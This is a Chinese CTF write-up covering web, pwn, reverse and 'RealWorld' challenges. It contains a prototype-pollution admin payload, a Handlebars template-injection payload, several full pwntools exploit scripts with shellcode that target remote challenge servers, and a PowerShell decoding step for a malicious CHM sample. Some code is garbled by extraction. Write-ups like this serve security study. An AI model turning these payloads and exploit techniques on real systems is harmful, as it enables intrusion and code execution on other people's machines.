

Venom_Writeup

Web

华为HCIE的第一课

?f=xxx任意文件读取，脱下来的源码（不过跑不起来不知道为啥，app.set报错）：

[source.zip](#)

”，”proto”:{”isAdmin”:1},”ip”.”

模版注入get she

1.->原型链污染成为admin

lih3iu”，”__proto__”:{”isAdmin”:1},”b”.”1

2.->利用handlebars语法打印变量

```
1  {{#each this}}
2      {{#each this}}
3          {{this.toString}}
4      {{/each}}
5  {{/each}}
```

```
POST /admin HTTP/1.1
Host: 121.37.165.126:31822
Content-Length: 194
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://121.37.165.126:31822
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://121.37.165.126:31822/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,jar;q=0.7
Cookie: hm_lvt_4aa2d8e1c3f25aa133d68ee023b1c1=1609016119; session=s13AewVU9JknwPM7yJb2Nqg5a5DXTJFqA5.HYpBcoS8armcqfFh2FZD45FUu1q3HuDLb6IKq42BapWL5a; hm_lvt_4aa2d8e1c3f25aa133d68ee023b1c1=1609070489
Connection: close

code=178178123each120this17D17D90A120120120120120178178123each120this17D17D90A120120120120120120120120120178178123this.tostring17D17D90A120120120120120178178123each17D17D90A178178123each17D17D90A1submit=submit
```

```
if ([this.ext] {
    // get extension from default engine name
    this.ext = $x3D; this.defaultEngine[0] != $x3D; $x3D; $x27;.$x27;
    ? $x27;.$x27; + this.defaultEngine
    : this.defaultEngine;
}
fileName = $x3D; this.ext;

if (!opts.engines[this.ext]) {
    // load engine
    var mod = $x3D; this.ext.substr(1)
    debug($x27;require $quote;$x27; mod)
    // default engine export
    var fn = $x3D; require(mod).__express
    if (typeof fn != $x3D; $x3D; $x27;function($x27;)) {
        throw new Error($x27;Module $quote;$x27; + mod + $x27;$quote; does not
        provide a view engine.$x27;))
    }
    opts.engines[this.ext] = $x3D; fn
}
// store loaded engine
this.engine = $x3D; opts.engines[this.ext];

// lookup path
this.path = $x3D; this.lookup(fileName);
}

/user/local/app/views
callback
name
de012aa9f61e9cd6f21ad4fdac38d92
flag(fe76e78f19a1fd1b69fd0a9e9cdce8be)
This is just a test file, please dont merge it to my calc.html

<p class="t-big-margin no-margin-b flex-center botCenter">
    0x地址计算器
</p>
</body>
</html>
```

Pwn

PWN1

栈溢出，重新执行read读shellcode到bss段然后栈迁移执行shellcode

```
1 from pwn import *
2 p = remote("139.159.210.220", 9999)
3 payload =
4     cyclic(0x100)+p32(0x21100)+p32(0x10348)+p32(0x21100)+p32(0x104e4)
5 p.sendafter("input: ", payload)
6 pause()
7 p.send(p32(0x21104)+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68")
8 p.interactive()
```

harmofshell

当echo一个不存在的文件时会向栈里写数据，输入过长导致栈溢出，先leak堆地址，然后跳到堆执行shellcode

```
1 from pwn import *
2 context.log_level = 'debug'
3 p = remote("121.37.222.236", 9999)
4 def add(name):
5     p.sendlineafter("$ ", "touch "+name)
6 def free(name):
7     p.sendlineafter("$ ", "rm "+name)
8 def show(name):
9     p.sendlineafter("$ ", "cat "+name)
10 def edit(name, content):
11     p.sendlineafter("$ ", "echo > "+name)
12     p.send(content)
13 add("aaa")
14 add("bbb")
15 add("ccc")
16 add("ddd")
17 free("aaa")
18 free("ccc")
19 add("a")
20 show("a")
```

```

21 add("b")
22 shellcode =
    "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x
    23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x0
    7\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x
    85\x93\x08\xd0\xd0\x73\x00\x00\x00"
23 edit("b", shellcode)
24 p.sendlineafter("$ ", "echo > e")
25 p.send("a"*312+p32(0x25f10))
26 p.interactive()

```

Reverse

CRASH

解题思路

把md5字符串解完得到字符串“bo&tn&o#~{c|vut.yb&yl's.v|gg `”，对其进行异或0x17得到字符串“ux1cy1x4ilt kahbc9nu1nk00d9akpp7w”，盲猜
 flag{ux1cy1x4ilt kahbc9nu1nk00d9akpp7w}

re123

解题思路

是一个chm文件，给文件re加上后缀chm即可还原。

hh.exe -decompile d:\heihei C:\Users\Rolan\Downloads\re.chm反编译chm文件。

其中doc.html里有一个命令执行创建一个隐藏进程，里面还有一个很长的base64码，解码后得到一串执行代码。

base64解码代码里又有一个base64码，解码后得到一串二进制数据，不知道什么意思，ida也没能反汇编。我导出文件，如下：

re.bin

```

-----
, [IO.Compression.CompressionMode]::Decompress)),

```

base64之后做解压

ps代码

```
1 $content = [IO.File]::ReadAllText("$pwd\doc.chm")
2 $idx1 = $content.IndexOf("xxxxxxx")
3 $helper = $content.Substring($idx1 + 8)
4 $cont = [System.Convert]::FromBase64String($helper)
5 Set-Content "$env:temp\2020.tmp" $cont -Encoding byte
```

在用户目录下生成2020.tmp，加上PE的Magic

[2020.tmp](#)

标准ECB_AES

```
1 >>> from Crypto.Cipher import AES
2 >>> cip =
3 '\xb5\xf4\x3f\x45\x43\xd6\x99\xe7\x56\x1b\x2a\xaa\x84\x20\xc4\x46'
4 >>> mode = AES.MODE_ECB
5 >>> cryptos = AES.new(key, mode)
6 >>> cryptos.decrypt(cip)
7 'flag{youcangues}'
```

RealWorld

HARMOFS01

$\text{abs}(0x80000000)=0x80000000$,从而导致我们可以负数溢出到size位，修改size，可以实现堆溢出，利用unlink到bss段可以实现任意读写，修改IO_stdout调用orw函数即可

```
1 from pwn import *
2 context.log_level = 'debug'
3 p = remote("124.70.204.134", 31460)
4 def touch(name, size):
5     p.sendlineafter("Sh > ", "touch")
6     p.sendlineafter("File size: ", str(size))
7     p.sendlineafter("File name: ", name)
8 def read(name, size, note):
9     p.sendlineafter("Sh > ", "fileop")
10    p.sendlineafter("File name: ", name)
11    p.sendlineafter("Operation: ", "1")
12    p.sendlineafter("Size: ", str(size))
13    p.send(note)
14 def write(name, size):
15     p.sendlineafter("Sh > ", "fileop")
16     p.sendlineafter("File name: ", name)
```

```
17     p.sendlineafter("Operation: ", "2")
18     p.sendlineafter("Size: ", str(size))
19 def seek1(name, offset):
20     p.sendlineafter("Sh > ", "fileop")
21     p.sendlineafter("File name: ", name)
22     p.sendlineafter("Operation: ", "3")
23     p.sendlineafter("Mode: ", "1")
24     p.sendlineafter("Offset: ", str(offset))
25 def seek2(name, offset):
26     p.sendlineafter("Sh > ", "fileop")
27     p.sendlineafter("File name: ", name)
28     p.sendlineafter("Operation: ", "3")
29     p.sendlineafter("Mode: ", "2")
30     p.sendlineafter("Offset: ", str(offset))
31 def free(name):
32     p.sendlineafter("Sh > ", "fileop")
33     p.sendlineafter("File name: ", name)
34     p.sendlineafter("Operation: ", "4")
35 def exp():
36     p.recvuntil("Gift: 0x")
37     libc_base = int(p.recvuntil("\r", drop = True),16)-0x86EB8
38     p.recvuntil("Gift: 0x")
39     elf_base = int(p.recvuntil("\r", drop = True),16)-0x12d8
40     touch("luck", 9)#00
41     touch("LUCK", 9)#30
42     touch("aaaa", 9)#60
43     touch("bbbb", 9)#90
44     touch("cccc", 9)#c0
45     touch("dddd", 9)#f0
46     touch("eeee", 9)#20
47     touch("ffff", 9)#50
48     touch("gggg", 9)#80
49     touch("hhhh", 9)#b0
50     touch("iiii", 9)#e0
51
52     seek1("luck", 2147483648)
53     seek1("luck", 2147483644)
54     read("luck", 5, p32(0xffffffff)+'\n')
55
56     free("bbbb")
57     free("dddd")
58     write("luck", 0x200)
59     data = p.recvuntil("bbbb")
60     heap_addr = u32(data[-12:-8])
61     seek1("aaaa", 2147483648)
62     seek1("aaaa", 2147483644)
63     read("aaaa", 5, p32(0xffffffff)+'\n')
64
```

```

65     fake = 'a'*11+p32(0x31)+p32(0x30)+p32(elf_base+0x3034-
12)+p32(elf_base+0x303c)+'bbbb\n'
66     read("aaaa", len(fake), fake)
67     free("aaaa")
68     read(p32(elf_base+0x3034-12)+'\x00', 4,
p32(libc_base+0x000A40A0)+'\n')
69     seek2(p32(elf_base+0x3034-12)+'\x00', heap_addr+0x98)
70
71     io_file = "\xA4\xBF\x43\xF0\xE9\x50\x81\x39\x57\x16\x52\x37\x00"
72     seek2(io_file, 5)
73     seek1(io_file, 2147483648)
74     seek1(io_file, 2147483640-60)
75     read(io_file, 4, p32(0xffffffff)+'\n')
76     write(io_file, 0x12c)
77     fake_file = '/etc/flag\x00'
78     fake_file = fake_file.ljust(0x24, '\x00')
79     fake_file += p32(elf_base+0x1248)
80     read(io_file, 0x28, fake_file)
81     log.info("elf_base == > " + hex(elf_base))
82     log.info("libc_base == > " + hex(libc_base))
83     log.info("heap_addr == > " + hex(heap_addr))
84     p.interactive()
85 if __name__ == '__main__':
86     exp()

```

honormap01

输入x, y时错误使用了%x, 从而导致在check完x后, 可以利用y覆盖x导致溢出, 修改函数表为orw函数即可。

```

1  from pwn import *
2  context.log_level = 'debug'
3  p = remote("124.71.204.48", 32080)
4  def add(x, y, typ):
5      p.sendlineafter("CMD > ", "alloc")
6      p.sendlineafter("Height: ", hex(x))
7      p.sendlineafter("Width: ", hex(y))
8      p.sendlineafter("Map type: ", str(typ))
9  def edit(idx, x, y, size, fill):
10     p.sendlineafter("CMD > ", "edit")
11     p.sendlineafter("Index", str(idx))
12     p.sendlineafter("X: ", str(x))
13     p.sendlineafter("Y: ", str(y))
14     p.sendlineafter("Block size: ", str(size))
15     p.sendlineafter("Fill: ", fill)
16 def delete(idx):

```

```
17     p.sendlineafter("CMD > ", "delete")
18     p.sendlineafter("Index", str(idx))
19 def view(idx):
20     p.sendlineafter("CMD > ", "view")
21     p.sendlineafter("Index", str(idx))
22 add(0,0xff0000,0)
23 add(0,0,0)
24 add(0,0,0)
25 add(0,0,0)
26 add(0,0,0)
27 add(0,0,0)
28 add(0,0xff0000,0)
29 add(0,0xff0000,0)
30 add(0,0xff0000,0)
31 add(0,0,0)
32 view(0)
33 p.recvuntil("Map: ")
34 p.recvuntil("\xa0")
35 elf_base = u32('\xa0'+p.recv(3))-0x11a0
36 edit(2+6, 25, 0, 4, p32(elf_base+0x1350))
37 edit(1+6, 25, 0, 40, '\x00'*24+'/etc/flag\x00')
38 p.sendlineafter("CMD > ", "edit")
39 p.sendlineafter("Index", "8")
40 print hex(elf_base)
41 p.interactive()
```